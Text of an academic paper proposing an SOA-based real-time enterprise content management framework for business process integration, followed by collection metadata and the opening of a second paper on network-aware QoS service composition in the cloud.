Abstract: Organization’s distributed and evolving enterprises demands an integrated approach providing consolidated control and secure information sharing among users and applications in support of business processes. Businesses faced considerable challenges due to unawareness of setting an integration infrastructure with specific business context. Recent industry trend is inclined to investigate rapid and cost effective BPI platform with indisputable business benefits in terms of Real-Time Enterprise Content Management (RT-ECM). RT-ECM ensures consistency among users and infrastructure. The perception also provides secure access to necessary and valid content in real-time. Modern RT-ECM architectures are focused to assist content sharing across multiple resources as well as enterprise applications. SOA, a distributed computing environment, is poised at the intersection of business and technology. SOA enables enterprises to seamlessly and rapidly adapting altering environment. Service-Oriented RT-ECM approach offers integration specific, flexible, and featured BPI platform. The contribution of this paper is an RT-ECM architecture framework illustrating most prominent technical challenges during establishment of business process perceptive integration and time sensitive content flow management. Real-time content management engines, business process engines, and service provisioning are at the centre of presented framework. Initiative behind the research effort is to capture and estimate generic aspects of BPI such that organizations may exclusively focus on unique business characteristic. Eventually, the paper discusses advantages and consequences of service oriented RT-ECM besides outstanding issues for further research.
1 INTRODUCTION
Enterprises competitiveness is creating necessity to rapidly streamline business processes results in generating novel business values and increase operational efficiencies. Ever since organization’s business requirements emerge, evolve, and mature, the former enterprise systems are becoming incapable of dealing with business transformations. Apparently, enterprises must have the control of business logic into the integration processes in order to deal with the pressure of today’s dynamic business environment. Enterprises must respond with innovative ways to attract as well as retain customers (or partners) and achieve greater visibility into business processes.
BPI is the key ability of an enterprise to respond efficiently to leverage business changes offering competitive advantages. However, ability for businesses to incorporate and react to changes is hampered in many instances by ECM. ECM poses an agility barrier on BPI (Buco M J. et al., 2005) due to composition of enterprises with wide range of technologies implemented by means of disparate resources. Capability to assist organizations to narrow the scope of integration and focus on specific business objectives has become an increasingly motivating issue for BPI vendors in recent years (Deshpande, 2004).
BPI fosters an approach to serve most significant business requests through correlating enterprise contents with business processes. BPI platform articulates exactly the way each process must provision. It ensures execution of processes aligning to satisfy business objectives. The enterprise software development team can gradually drills down to the specific implementation detail such as connecting to the various subsystems that may execute the functionality in each step of the process.
It requires identifying the specific content element that must be referred at runtime. Only relevant content pertaining to the processes is being automated. BPI promotes incremental Return-on-Investment (ROI) sanctioning enterprises to break up large problems into more manageable entities with right information at the right time.
Traditional approaches to build BPI and resolve the needs of distributed enterprise architecture incorporates relatively brittle coupling between various components (Leune, 2004). The infirmity of enterprises becomes a crisis as the scale, demand, volume, and rate of business change increases. Unavailability of relevant content, lack of time to market, inability to rapid transformation to business opportunities as well as competition (Sheth A. et al., 2002) are the characteristics of present enterprise architecture framework. Hence there is a growing realization to replace the present deficient ECM model with more flexible architecture approaches yielding enterprises for further amenable to business revolution.
The revolutionary approaches to develop RT-ECM platform archives the goal by providing diverse content management methodologies, process establishments, and system integration functions. We have presented enterprise architecture framework managing business process modelling and service oriented content flow aspects of RT-ECM. The target is to grip the generic aspects of process integration such that it may focus exclusive to the unique business needs. The major components of RT-ECM are real-time content management engine, business process engine, and service provisioning.
RT-ECM platform is generally implemented in the course of acquiring commercial software packages and customizing them to convene the organization’s business requirements (Turner M. et al., 2004). SOA facilitates the subsequent phases of business process evolution from merely automated to manage flexibility. The service oriented real-time content flow management aspects of BPI lacks empirical research. This paper explores the concepts of SOA based RT-ECM. It also identifies issues when operating the proposed model in conjunction with actual industry based BPI platform. The benchmark criterion presented reflects characteristic of typical SOA based RT-ECM in relation to integration, usability, and functional adaptation.
The paper represents the relationship between SOA based RT-ECM and BPI. Section 2 provides an overview of mandatory requirements to introduce SOA within existing BPI. Section 3 addresses issues of building efficient RT-ECM architecture framework. Section 4 discusses implications of SOA to develop RT-ECM platform elaborating our approach. Section 5 brief the benchmark to evaluate effectiveness of proposed SOA based RT-ECM with set of business criteria to be measured. Section 6 presents our observation with industry specific case studies justifying the perception and advantages. Section 7 is dedicated to conclusion as well as further research.
2 STRATEGIC ALLIANCE OF SOA AND BPI – ESSENTIAL REQUIREMENTS
Combination of SOA and BPI is more powerful than either is in itself. Services are joined together to arrive at a composite business process. SOA minimizes the gap between business analysis and IT development work. Business processes and contents are considered and designed simultaneously due to access of applications and corresponding information. Figure 1 indicates that the services layer consists of line of services that are aligned to a particular business domain. Reusable nature of defined services can be shared across multiple business domains.
Figure 1: Relation between Business Processes and Service Layer.
business process. The business process is concerned with combining individual activities. It is also responsible for executing, managing and monitoring the current state, progress and performance of the entire process. The service viewpoint is concerned with the collection of services that are available to the processes. It identifies the method in which process is being constructed, organized, provisioned, managed, and maintained irrespective to the specific utilization of the process.
The synergy of SOA must provide a solution to how services are designed, utilized, and combined to meet the requirements of BPI that facilitates traversing the organizational boundaries of consumers and providers. SOA presents a detailed definition of what a service is and how it uses the SOA infrastructure. It also ensures that independent services can be combined together in business processes through identifying interfaces a service is required to present, service contract semantics, service registration and discovery methodologies, service level agreements (SLAs), and all aspects of a service lifecycle. Following are the primary criteria for SOA to support BPI.
- **Shared Information and Semantics** - Information in the services needs to be conform to the enterprise information model and semantics. SOA must consider a transformation between the enterprise semantics and the internal information model ensuring seamless integration with existing ECM.
- **Application Integration** - The legacy system capabilities and content needs to be service enabled such that they can be included into new BPI platform. Services need to map from the enterprise model to the application model as part of the integration and not imposing the legacy model on the business processes. SOA exposes functions and associated contents as services exhibiting all important service characteristics (such as contract or discovery). SOA must treat integration services differently than business services.
- **Service Reuse and Governance** - The process designers requires identifying set of available services to ensure that they perform necessary functions before including services in the respective business processes. The producers of services need to determine that a similar service isn’t already offered to understand the boundaries of the role and responsibility of new services avoiding creation of redundancy and overlap. The SOA platform must provide a design time service repository that supports the discovery and examination of services during the design of business processes distinguishing from the runtime registry.
- **Versioning and Lifecycle** - If a service is used by more than one business process then it lead to enhance and extend services in a way that manages the different requirements. Evolution of services ultimately leads to multiple versions of the same service. The ability to assign version numbers to service interfaces and bind a client to the appropriate service based on version compatibility are mandatory for SOA to provide BPI platform.
- **Management** - The SOA must define and measure the performance of services and manage services according to their agreements. SOA should offer the ability to notify service providers and define corrective action when performance is not being met or certain thresholds are reached.
SOA platform enables a new level of flexibility and agility to BPI (Baresi and Guinea, 2005). The services layer provides the ideal platform for the business process due to the business functionality that map to the services in a business process. The admission of implementing an SOA is to provide a loosely coupled integration platform that allows application instance to change and evolve without affecting the core integration technology. The process modifications that require different applications to communicate with each other should not alter the core integration technology as well as application instance. The process and service independence establishes the relationship between business process modelling and application implementation.

Figure 2 depicts the relationship between BPI and SOA. BPI accomplishes the modelling, simulation, and re-engineering of processes. SOA infrastructure orchestrates business processes and mediates service providers. SOA is tied to process services resulting composite business flows. A service-level content model is defined based on the business domain and it is independent of the ECM model. BPI includes additional run-time power for
service composition. It has ability to modify a flow in exchange for more run-time complexity necessary for compensating transactions in the case of failure.
3 CHARACTERISTICS OF REAL-TIME ENTERPRISE CONTENT MANAGEMENT (RT-ECM)
A common infrastructure is essential to manage unstructured information due to increasing number of enterprise applications with collaborative requirements. Most enterprises are not designed to cohesively manage unstructured information. Information is exchanged outside of a provided enterprise application such as a sales record in a Customer Relationship Management (CRM) system prohibiting collaboration among multiple users (Sreenan and Cranor et al., 2001).
One of the most critical phases of unified content strategy is building an appropriate ECM platform (Sheth A. et al., 2002). Determining the elements required for each information type and methodology to integrate with enterprise functionality for optimum usability is at the highest consideration when deciding upon the modelling technique. The ECM model becomes the summit for an enterprise architecture framework. Information is discerned at element level in unified content strategy. Elements are stored in a single source instead of distributed across platform. Elements are then compiled into content management and delivery artefacts. The power of content reuse lies in effectively reusing information elements. ECM platform must identify all the required elements and illustrate how to structure and reuse them.
The process of developing ECM platform involves identifying information requirements for a particular enterprise. The decisive factor is to identifying the exact location of information ownership. The subsequent phase is to build a model illustrating the compilation of information elements. ECM model ensures the consistency, scalability, and reliability of information across organization. Guaranteed content integrity property of ECM enables point-in-time recovery for all metadata stored to the information resources and for all element structures residing in external storage. Point-in-time recovery of the metadata is accomplished through standard content management utilities (Uniform Server, 2006) including regular backup schedule of the available as well as valid content. The three core business issues that ECM addresses are content development, application content management, and content delivery or acceleration. Content development is the process of obtaining content from a concept to an organized and enterprise-wide accepted state.
Application content management is viewed as process of carrying artefacts characterizing particular delivery context. It is also responsible for enhancing artefacts with value-added metadata and eventually deploying them to the appropriate delivery environments (or channels) in the predefined combination as well as format. Content delivery management is process of managing the controlled and optimized delivery of artefacts to the intended enterprise users. Figure 3 depicts the core functional blocks of a successful ECM.
Identifying behaviour of ECM platform in real-time is recent industry trend due to the unpredictable alteration of enterprise information during critical business decisions. The present offering of enterprise architecture is to organize and present right information at the right time throughout the product development (or service) life cycle. RT-ECM platform begins in response to a specific organizational objective and often with the goal of managing content to the intranet or portal to satisfy the requirements of real-time transactions considering temporal properties of enterprise content.
Specific and well-bounded enterprise architectures (Leune, 2004) lead organizations to select a tightly bounded RT-ECM solution. RT-ECM targeted at the identified pain point always appears an attractive alternative to accomplish current requirements. However, the solution presenting immediate clarification persuades additional and unforeseen challenges. It is utilized to build great point-to-point solutions connecting one group of content management platform to a constituency of content consumers. Although resolution frequently lacks to scale in broader requirements as well as efficiently deliver multiple instantiations of time sensitive content access (or update). Instead, content is locked to other information storage facility and can not seamlessly
be presented to newly introduced enterprise applications.
RT-ECM requires considering following artefacts when architecting a solution that can be highly integrated and scalable to BPI platform.
- Define and address short-term goals but also consider the broad ways content management could be applied within the organization.
- Assume successful initial ECM in concise form may lead to additional implications across other business units and constituencies.
- Ability to deliver multiple initiatives from the single infrastructure such that the cost-of-ownership (TCO) of additional integration units can be lowered.
- Ability to dynamically delivery content and reduced response time to the content change requests or upgrades.
4 OUR APPROACH – BPI ENABLED SOA BASED RT-ECM
Section 3 indicates that RT-ECM platform must have architecture compatible to the service contracts pertaining to SOA governance providing a single streamlined environment that can serve all enterprise users (Turner M. et al., 2004). In this section, we are presenting SOA based RT-ECM encouraging disparate enterprise applications to communicate in an environment that is scalable, process oriented, and robust to achieve business demands. A RT-ECM framework leverages all of the underlying components to deliver distinct services to a wide range of enterprise users in secure fashion. The approach inclined to provide the architecture framework ensuring each user’s experience is personalized and that management of service delivery is standardized.
Each layer in the architecture presented is buffered from changes in the other layers (Leune, 2004). Moreover, the services are available for reuse improving productivity and accelerating content management ability responding to the specified business objective. BPI feature requirements available to the RT-ECM encapsulating business processes as services. The service developer publishes a description of services in a registry encoded in an XML dialect. If RT-ECM developer requires a service of specific type, it is searchable from registry. Similarly, enterprise application modules can browse the services interacting with real-time content from registry. The services model coordinates three roles and respective responsibilities. Service providers publish wares through brokers that maintain registries. Enterprise users find services in registries. Enterprise application binds specific real-time content with service at runtime.
Figure 4: SOA based RT-ECM enabling BPI – Architecture Framework.
To define a terminology and derive consistent RT-ECM model, we adapted and integrated the basic notions from available business process (Schmelzer, 2004) and content management (Sheth A. et al., 2002) platform. It leads to a conceptual framework for integrated model-based approach presented in Figure 4. The content management engine is defined by information model. It defines the structure and composition of information elements with respective dependencies. The properties of an element denoted as the content element configuration attributes. The content management engine coordinates with content discovery as well as content delivery modules.
Content discovery component of RT-ECM platform receives type of service, SLAs with content provider’s detail, enterprise capacity, and load caused by user access. Elements are tagged or untagged to map with the service defining how elements are discovered and managed for the service provisioning. Eventually content discovery is triggered by either user request to service or as a result of the actual discovery process occurs between RT-ECM entities. Content-aware redirection mechanisms embedded to content delivery.
component forwards user requests to the service provisioning that may best satisfy them. The location of the requested content along with other relevant information is utilized to determine appropriate service from which content should be served to the enterprise user. The service oriented content management presented in Figure 4 consists of a core set of building-block services including the library service, workflow service, transformation service, import and export services, publishing service, and financial transaction service.
Integration aspects within the content management engine are of structural duality of processes and products. Most of the business processes are adapted to the product dimension. Distinguish between physical and logical data integration is a key challenge to the approach presented in Figure 5. The content discovery covers the aspect of integrating physically distributed information into a logically centralized content during the content development. The latter concerns the integration of heterogeneous information schemes and the transformation between different content types are being considered at lexical, syntactical, and semantic level. Integration aspects of business process and content management engine are controlled through service provisioning. The service provisioning modules are developed based on the following principles.
- The process and product (or service) structure indicating the decomposition of processes in terms of products (or services) and the corresponding dependencies.
- Reflexivity: The representation technique and formalism to provide reflective features from process specification.
- The formal relationship derived between abstract level of processes and product (or service) specifications to determine the types of input and output that a process may consume or produce. The static relationship evaluates properties of the actual content-flow.
- Content flow and information access: Different types of content transition and information access have been considered. In particular, the implicit coordination by access control mechanisms may affect the scheduling of activities under the control of a business process and content management engine.
- Behavioural interrelationships: The state of objects affects the operational behaviour of a process. A business process must not be started if content is not valid for the provided timeframe. Object’s state transitions are associated with specific activities describing an object life-cycle within business process.
5 EVALUATION AND BENCHMARK CRITERIA
We have a three phase selection process to identify and evaluate optimal service set between the business processes and real-time content management. The first phase is service discovery.
based on the criteria identified between content management and service provisioning. It is followed by constraint analysis and then optimization based on enterprise user specific constraints. The constraint analyzer module dynamically selects services from subset of services that are identified by the service discovery engine. Any set of services for the precise business process satisfying the constraints is a feasible set. The constraints analyzer has two sub-modules, the constraint representation module and the cost estimation module.
The constraint representation module allows representing the business constraints in ontology (Horrocks et al., 2004). A business constraint is defined as any constraint that affects the selection of a service for a process. The number of such business constraints is specified to business process in terms of business rules. Certain constraints may be more important than others depending on the particular instance of the process. A legitimate example of representing business constraints is networking product equipment ontology presenting relationships between items such as adapters, circuit boards, cables, power cords and batteries. The ontology is utilized to capture the suppliers for each part, the relationships with the manufacturer, and the technology constraints pertaining to equipments.
Table 1 presents a working example of an ontology that enables to identify required business and technological constraints that are critical in deciding the suppliers (or vendors).
Table 1: Rule specification in context of Business Processes.
<table>
<thead>
<tr>
<th>Process Parameters and Context</th>
<th>Rule Specification</th>
</tr>
</thead>
</table>
| ->Vendor-A is an instance of network cable supplier<br />->Vendor-A supplies #Type-COAXIAL<br />->Vendor-A is a preferred supplier. | <NetworkCableSupplier rdf:ID="Vendor-A">
<supplies rdf:resource="#Type-COAXIAL"/>
<supplierStatus>preferred</supplierStatus>
</NetworkCableSupplier> |
| ->Type-COAXIAL is an instance of Network Cable<br />->Type-COAXIAL works with<br />->Type-DS3-Circuit-Board | <NetworkCable rdf:ID="Type-COAXIAL">
<worksWith>
<Circuit-Board rdf:ID="Type-DS3-Circuit-Board">
<worksWith> </Circuit-Board>
</worksWith>
</worksWith>
</NetworkCable> |
The cost estimation module queries the content accumulated dedicated to estimating various factors that directly impact the selection of services for the process. The factors that we have considered when selecting service for example represented in Table 1 are the depth of service dependencies, service’s capabilities, and intensity of service (Aggarwal et al., 2004). The depth of service dependencies are based on business and technological constraints of the items. One type of service captures the notion that the selection of one service affecting choices of other services. Cost for procurement, delivery time, compatibility with other suppliers, relationship with the supplier, reliability of the supplier’s service, and response time of the supplier’s service are the prominent examples of service’s capabilities. In order to be able to set priorities between the factors, the cost estimation module provides a way to specify weights on each factor. Intensity of service is either actual or estimated values of service in units identified during the initial measurement criteria set for the deployment cost.
The process integration level complexity is calculated considering participant services in the specified business process (n).
\[
P_{\text{Complexity}}(n) = \alpha \sum_{i=1}^{n} (T(i) \times C(i) \times R(i) \times A(i) \times \text{EC}_{a(i)})
\]
- \(T(i)\) represents the execution time of present service.
- \(C(i)\) is cost (or time) of invoking service considering identification of dependencies and search effort involved within the business process context.
- \(R(i)\) is reliability of service with respective to validation of temporal content in utilization.
- \(A(i)\) is the factor deciding availability of service from service registry.
- \(\text{EC}_{a(i)}\) cumulative scores for enterprise content access specific to business process parameters associated with the service.
- \(\alpha\) is the impartial factor identified during the initial definition of business process (n) from constraint representation module depending on the type of request as well as technology involved.
- \(S_n\) is the number (or set) of services participated in business process (n).
- \(\times\) represents predefined or custom defined aggregation operator.
For most metrics, the \(P_{\text{Complexity}}\) is calculated using the aggregation operators such as summation, multiplication, and maximum or minimum of services presented in the business process. However, in certain cases, the user defines a custom function.
for aggregation. The enterprises also generates performance metrics utilizing pilot project through the SOA based models and create set of experiments. The experimental evaluation is typically conducted to identify the performance measures with explicit timing variations according to the types of target market as well as technology involved in the businesses. Several benchmarks are also generated by initiating the enterprise-wide questionnaires represented below as an example. The reliable and accurate method to measure the success of BPI during RT-ECM is to communicate and conduct the organizational survey identifying the benefits related to primary drivers behind the adapted service model.
- How much faster delivery of information and services at reduced operating cost?
- What leverage value of and investment made in existing enterprise?
- Whether it provides seamless integration of core services among internal and external partners, customers, and suppliers?
- What types of value-added decision making have been supported?
- How much reduction in manual content access, lookup, and upgrade resulting in higher quality and performance?
- What are the system integration cost and improvements in traditional delivery times?
- Whether it brings enhanced product (or service) offerings to market faster than before?
- What advantage it offers to resolve business problems that are considered costly, time prohibitive, unrealistic, or impossible to achieve?
6 CASE STUDY - OBSERVATIONS
During our evaluation of various available methodologies, we found different solutions to incorporate BPI platform. We have categorized available solutions and suite vendors in three different classifications depending on the architecture characteristics, industry utilization, and implications of business processes. Model, execute, and monitor developed business processes. The right approaches to model SOA yields to many practical applications for each category identified. Table 2 represents our evaluation of business processes in simulated environment (E107, 2006). It illustrates the measurement of \( \text{PI}\text{Complexity} \) attribute depicted in Equation 1.
<table>
<thead>
<tr>
<th>Process</th>
<th>Type</th>
<th>Industry</th>
<th>Ref time units/ process</th>
<th>Involved services/ process</th>
<th>Involved processes</th>
<th>( \text{PI}\text{Complexity} ) (%)</th>
<th>Percentile</th>
</tr>
</thead>
<tbody>
<tr>
<td>Delivery</td>
<td>Model</td>
<td>Transportation</td>
<td>10</td>
<td>2</td>
<td>2</td>
<td>15%</td>
<td>80%</td>
</tr>
<tr>
<td>Authorization</td>
<td>Model</td>
<td>Financial</td>
<td>10</td>
<td>2</td>
<td>2</td>
<td>15%</td>
<td>80%</td>
</tr>
<tr>
<td>Documentation</td>
<td>Model</td>
<td>Standardization</td>
<td>10</td>
<td>2</td>
<td>2</td>
<td>15%</td>
<td>80%</td>
</tr>
<tr>
<td>Commerce</td>
<td>Model</td>
<td>E-commerce</td>
<td>10</td>
<td>2</td>
<td>2</td>
<td>15%</td>
<td>80%</td>
</tr>
<tr>
<td>Assembly line</td>
<td>Model</td>
<td>Manufacturing</td>
<td>10</td>
<td>2</td>
<td>2</td>
<td>15%</td>
<td>80%</td>
</tr>
</tbody>
</table>
Advantages are identified through implying the concept to the reality in various industry segments as indicated in Table 2. The observations designates following features and characteristics of ensuing BPI platform.
- Secure IT investment: Customers do not have to switch platforms, re-implement software, and/or incur additional hardware for expanded capabilities. For example, abstraction in terms of services to manufacturing assembly-line instructions process remains unmodified upon technology change.
- Connectivity: It provides the flexibility to collaborate through sharing of content across supply-chain and enables ability to view enterprise application interfaces augmenting existing business processes. The most prominent scenario is the ecommerce activity in a secure environment.
- Enhanced product quality: It reduces the risk within the product development life cycle where code must be manipulated in order to deliver new functionalities. It offers reduction in maintenance cost as a result of reuse. The transaction approval process as set of services in financial industry remains unmodified even if the type of business alters.
- Accelerated development: It greatly reduces the time required to perform quality assurance (QA) due to automation made uncomplicated. With less time needed for QA, it is possible to accelerate development cycles expanding the functional depth and breadth of the product. The wide spread utilization of Tivoli and IBM WebSphere (Baresi and Guiney, 2005) in product development is an undoubting proof.
- Simplified upgrades: As recent versions of the enterprise software are released, customers do not have to deploy an entire executable. Instead, the
only receivable modules that have an impact should be available in latest release. The automated documentation revision process is an excellent pattern to represent in standardization industry.
- Remote access: Remote employees are able to easily access content without having to connect through VPN or use terminal server. The current advances in SOA based XML VPN controller indicates the seamless advantage of combining technology and business (Radding, 2006)
- Scalability: It provides the foundation for new business processes on the horizon. As customer relationship management (CRM) and supply-chain management processes evolve, SOA enabled business processes are equipped to integrate new practices.
- Flexibility: The framework facilitates grouping of information and display supporting unique business process. Advanced content management platform (E107, 2006) in combination with enterprise server (Uniform Server, 2006) is an excellent example of user configured real-time content presentation.
7 CONCLUSION
The automation, integration, and optimization of business processes across the enterprise have become essential to leverage competitive advantage for organizations today. BPI and SOA provides a perfect combination for real-time enterprises. BPI platform presents higher level abstraction for defining businesses processes as well as other important capabilities of monitoring and managing processes. Derived services present the functions that support business processes. SOA offers the capabilities to combine and construct an agile enterprise model. SOA based RT-ECM offers integrity that enterprises are require solving business process problems and improving operational efficiencies. RT-ECM enables enterprises to produce rationalized system infrastructure based on implied SOA models. It supports rapid assembly and orchestration of process services into larger end-to-end business processes.
In this paper, we discussed business process engine, real-time content management engine, and service provisioning aspects of SOA in detail. We have experience enhanced productivity as well as accuracy due to flawless access of most relevant and appropriate information in real-time. Since the developed version of architecture is generalized to certain extend, subsequent stage is to contrast and compare various industry specific business processes and associated services according to the identified decisive evaluation factors. Impact of developed SOA based RT-ECM in association with BPI architecture framework on various types of business models may prove challenging goal to achieve as the consequent research effort.
REFERENCES
|
{"Source-Url": "http://www.scitepress.org/Papers/2007/23733/23733.pdf", "len_cl100k_base": 6458, "olmocr-version": "0.1.53", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 27265, "total-output-tokens": 7336, "length": "2e12", "weborganizer": {"__label__adult": 0.0003485679626464844, "__label__art_design": 0.0007338523864746094, "__label__crime_law": 0.0004315376281738281, "__label__education_jobs": 0.0012340545654296875, "__label__entertainment": 0.00013709068298339844, "__label__fashion_beauty": 0.00018870830535888672, "__label__finance_business": 0.007617950439453125, "__label__food_dining": 0.00046133995056152344, "__label__games": 0.0006098747253417969, "__label__hardware": 0.0012073516845703125, "__label__health": 0.0005221366882324219, "__label__history": 0.0003762245178222656, "__label__home_hobbies": 0.00010532140731811523, "__label__industrial": 0.0009226799011230468, "__label__literature": 0.0003402233123779297, "__label__politics": 0.0003383159637451172, "__label__religion": 0.0003407001495361328, "__label__science_tech": 0.077392578125, "__label__social_life": 9.47713851928711e-05, "__label__software": 0.0435791015625, "__label__software_dev": 0.86181640625, "__label__sports_fitness": 0.0002267360687255859, "__label__transportation": 0.0007300376892089844, "__label__travel": 0.00028228759765625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 37665, 0.01236]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 37665, 0.03952]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 37665, 0.91021]], "google_gemma-3-12b-it_contains_pii": [[0, 3890, false], [3890, 7589, null], [7589, 12181, null], [12181, 16637, null], [16637, 20349, null], [20349, 23125, null], [23125, 27958, null], [27958, 33090, null], [33090, 37665, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3890, true], [3890, 7589, null], [7589, 12181, null], [12181, 16637, null], [16637, 20349, null], [20349, 23125, null], [23125, 27958, null], [27958, 33090, null], [33090, 37665, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 37665, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 37665, null]], "pdf_page_numbers": [[0, 3890, 1], [3890, 7589, 2], [7589, 12181, 3], [12181, 16637, 4], [16637, 20349, 5], [20349, 23125, 6], [23125, 27958, 7], [27958, 33090, 8], [33090, 37665, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 37665, 0.06716]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
35c7cb8b5db46dd6ed954a8bc70f423adfc63e80
|
ABSTRACT
Service-Oriented Computing (SOC) enables the composition of loosely coupled services provided with varying Quality of Service (QoS) levels. Selecting a (near-)optimal set of services for a composition in terms of QoS is crucial when many functionally equivalent services are available. With the advent of Cloud Computing, both the number of such services and their distribution across the network are rising rapidly, increasing the impact of the network on the QoS of such compositions. Despite this, current approaches do not differentiate between the QoS of services themselves and the QoS of the network. Therefore, the computed latency differs substantially from the actual latency, resulting in suboptimal QoS for service compositions in the cloud. Thus, we propose a network-aware approach that handles the QoS of services and the QoS of the network independently. First, we build a network model in order to estimate the network latency between arbitrary services and potential users. Our selection algorithm then leverages this model to find compositions that will result in a low latency given an employed execution policy. In our evaluation, we show that our approach efficiently computes compositions with much lower latency than current approaches.
Categories and Subject Descriptors
H.3.5 [On-line Information Services]: Web-based services; H.3.4 [Systems and Software]: Distributed systems
General Terms
Algorithms, Performance, Measurement, Management
Keywords
Web Services, Cloud, Network, QoS, Optimization, Service Composition
1. INTRODUCTION
Service-Oriented Computing (SOC) is a paradigm for designing and developing software in the form of interoperable services. Each service is a software component that encapsulates a well-defined business functionality.
1.1 Service Composition
SOC enables the composition of these services in a loosely coupled way in order to achieve complex functionality by combining basic services. The value of SOC is that it enables rapid and easy composition at low cost.
1.2 QoS-aware Service Composition
For service compositions, functional and non-functional requirements have to be considered when choosing such concrete services. The latter are specified by Quality of Service (QoS) attributes (such as latency, price, or availability), and are especially important when many functionally equivalent services are available. The QoS of a composition is the aggregated QoS of the individual services according to the workflow patterns, assuming that each service specifies its own QoS in a Service Level Agreement (SLA). The user can then specify his QoS preferences and constraints for the composition as a whole, e.g. a user might prefer fast services, but only if they are within his available budget. Choosing concrete services that are optimal with regard to those preferences and constraints then becomes an optimization problem which is NP-hard. Thus, while the problem can be solved optimally with Integer (Linear) Programming (IP) usually heuristic algorithms like genetic algorithms are used to find near-optimal solutions in polynomial time.
1.3 Service Composition in the Cloud
With the advent of Cloud Computing and Software as a Service (SaaS), it is expected that more and more web services will be offered all over the world. This has two main impacts on the requirements of service compositions.
1.3.1 Network-Awareness
First, the impact of the network on the QoS of the overall service composition increases with the degree of distribution of the services. A service offered in Frankfurt would in many cases not only be used in Germany but worldwide. Despite this, current approaches do not differentiate between the QoS of services themselves and the QoS of the network. The common consensus is that the provider of a service has to include the network latency in the response time he publishes in his SLA. This is not a trivial requirement, since latency varies a lot depending on the user’s location [27]; e.g. users in Frankfurt, New York and Tokyo may have quite different experiences with the same service.
Fig. 1, and the corresponding concrete services (\(X_1\), \(X_2\), \(A_1\), etc.) in which \(X_1\) executes task \(X\), etc., in the times conforming to Fig. 2a. We can see the deployed services and the network delays between the different deployment locations in Fig. 3. In such a scenario, current approaches would select \(X_1\), \(A_2\) and \(B_3\), because their QoS are optimal, and this results in a total execution time of 265 ms. Now, if a user in France wants to execute the workflow, the round trip times would add over 200 ms to that time. In comparison, executing \(X_1\), \(A_1\) and \(B_1\) would just take 300 ms and only incur a minimal delay because of round trip times. On the other hand, if providers added the maximum delay for any user to the execution time in their respective SLAs, this would guarantee a certain maximum response time to all users, but it would discourage users from selecting local providers and instead favor providers with the most homogeneous delays for all users (e.g. providers in the center of Fig. 1 in France).
1.3.2 Scalability
Secondly, as the number of services increases, the scalability of current approaches becomes crucial. That is, as the number of services grows, more functionally equivalent services become available for each abstract task, and this causes the complexity of the problem to increase exponentially. One can argue that the number of services offered by different providers with the same functionality might not grow indefinitely. Usually a small number of big providers and a fair number of medium-sized providers would be enough to saturate the market. The crucial point is that in traditional service composition, most providers specify just one SLA for the service being offered. Only in some cases up to a handful of SLAs may be specified; for example, a provider might offer platinum, gold and silver SLAs to cater to different categories of users with different QoS levels [22].
In contrast to this, in a network-aware approach each provider has to provide many SLAs, as in Fig. 4. Given an abstract task \(T\) a provider that offers a service \(T_i\) for \(T\) might have to supply different SLAs for each of his instances \(i_1, \ldots, i_T\). Each instance might run on a physical or virtual machine with different characteristics (CPU, memory, etc.). Also, these instances might be executed at completely different locations in order to offer the service in different countries. As we want to differentiate between each instance, we get many more choices for each individual task. For example, whereas previous approaches might assume 50 different providers for each task [25], and, thus, consider 50 choices per task, we might easily have to consider 2500 choices, if we assume that each provider deploys 50 instances of his service on average.
1.4 Contributions
Thus, we propose a new approach towards network-aware service composition in the cloud, consisting of the following three contributions:
1. Network Model. We adopt a generic network model that can be fed in a scalable way by stand-of-the-art algorithms from the network research community. We enhance this model by adding scalable facilities to find services which are close to certain network locations or network paths. This allows us to estimate the network latency between arbitrary network locations of services or users and to find services that will result in low latency for certain communication patterns.
2. Network-aware QoS Computation. We specify a realistic QoS model that allows us to compute network QoS, such as latency and transfer rate. Our network-aware QoS computation can handle input-dependent QoS, as well. (For example, a video compression service could specify that the service’s execution time depends on the amount of input data supplied.)
3. Network-aware Selection Algorithm. Our selection algorithm is based on a genetic algorithm. We redefine all generic operations including initial generation, mutation, and crossover. By leveraging our network model, we tailor those operations to the problem of service composition in the cloud in order to improve the scalability and the solution quality of our algorithm.
In our evaluations, we show that the latency of service compositions computed by our algorithm is near-optimal and much lower than current approaches. Furthermore, we show that our approach has the scalability needed for ser-
vice composition in the cloud; it beats current approaches not just in absolute numbers but also in runtime complexity.
The structure of this paper is as follows. Section 2 reviews related work. Section 3 defines our approach. Section 4 evaluates the benefits of our approach in a cloud environment. Section 5 concludes the paper.
2. RELATED WORK
In this section, we survey related work from the following five categories.
2.1 QoS-aware Service Composition
